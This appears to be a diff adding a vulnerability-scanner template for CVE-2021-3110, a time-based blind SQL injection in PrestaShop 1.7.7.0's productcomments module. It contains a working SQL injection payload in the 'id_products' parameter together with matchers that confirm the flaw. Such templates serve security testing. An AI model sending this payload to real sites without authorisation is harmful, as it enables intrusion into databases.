CVE-2021-3110 Blind Sqli

cves/2021/CVE-2021-3110.yaml

@@ -0,0 +1,24 @@
+id: cve-2021-3110
+
+info:
+  name: prestshop CMS SQL Injection
+  author: Jaimin Gondaliya
+  severity: high
+  description: Prestashop 1.7.7.0 - 'id_product' Time Based Blind SQL Injection
+
+  
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(5)))xoOt)"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "average_grade"
+          - "1 AND (SELECT 3875 FROM (SELECT(SLEEP(5)))xoOt)"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200